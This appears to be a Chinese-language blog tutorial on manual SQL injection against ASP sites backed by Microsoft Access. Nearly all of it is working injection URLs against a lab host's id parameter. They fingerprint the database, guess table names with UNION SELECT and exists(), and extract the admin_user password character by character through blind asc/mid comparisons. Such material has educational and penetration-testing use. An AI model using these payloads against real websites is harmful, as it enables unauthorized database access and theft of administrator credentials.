ACCESS手注
阅读原文时间:2023年07月08日阅读:1

ASP一般搭载ACCESS或者mssql

http://www.***.com?id=1 and (select count(*) from sysobjects)>0
http://www.***.com/id=1 and (select count(*) from msysobjects)>0

如果加sysobjects的SQL语句后,网页显示正常, 加msysobject的SQL语句后,网站显示不正常,则说明用的是SQLServer数据库。
如果加sysobjects和加msysobjects的SQL语句后,网页显示都不正常,或者加msysobject后的网页显示正常,则说明是ACCESS数据库。

两种方法:联合查询猜解、exists()函数猜解

联合查询猜解

联合查询 先用order by判断列的长度,然后联合查询表,回显正常即为表存在,反之为不存在

http://192.168.74.136:8003/fwxm_detail.asp?id=31  UNION  SELECT 1,2,3,4,5,6,7 from admin_user   返回回显位置,说明 admin_user表存在。

http://192.168.74.136:8003/fwxm_detail.asp?id=31  UNION  SELECT 1,2,3,4,5,6,7 from admin   返回错误,说明 admin 表不存在

exists()函数猜解

http://192.168.74.136:8003/fwxm_detail.asp?id=31 and exists (select * from admin_user)   返回正常说明表 admin_user 存在

http://192.168.74.136:8003/fwxm_detail.asp?id=31 and exists (select * from admin)        返回错误信息,说明 admin 表不存在。

PS:如果猜不到表名列名就要试试偏移注入了

联合查询法:

http://192.168.74.136:8003/fwxm_detail.asp?id=31  UNION  SELECT 1,2,列名,4,5,6,7 from 表名

函数猜解法:

表名:admin_user

列名:password

判断长度:
http://192.168.74.136:8003/fwxm_detail.asp?id=31  and (select len(password) from admin_user)=32   返回正常说明内容长度为 32

猜解内容:
一个一个字符串的猜,和盲注一样的道理。
http://192.168.74.136:8003/fwxm_detail.asp?id=31  and (select asc(mid(password,1,1)) from admin_user)>49        返回正常
http://192.168.74.136:8003/fwxm_detail.asp?id=31  and (select asc(mid(password,1,1)) from admin_user)>50        返回错误
http://192.168.74.136:8003/fwxm_detail.asp?id=31  and (select asc(mid(password,1,1)) from admin_user)=50        返回正常
对照ASCII码表可知,第一个字符为数字 2  ,

依次猜解,直到猜解出全部内容。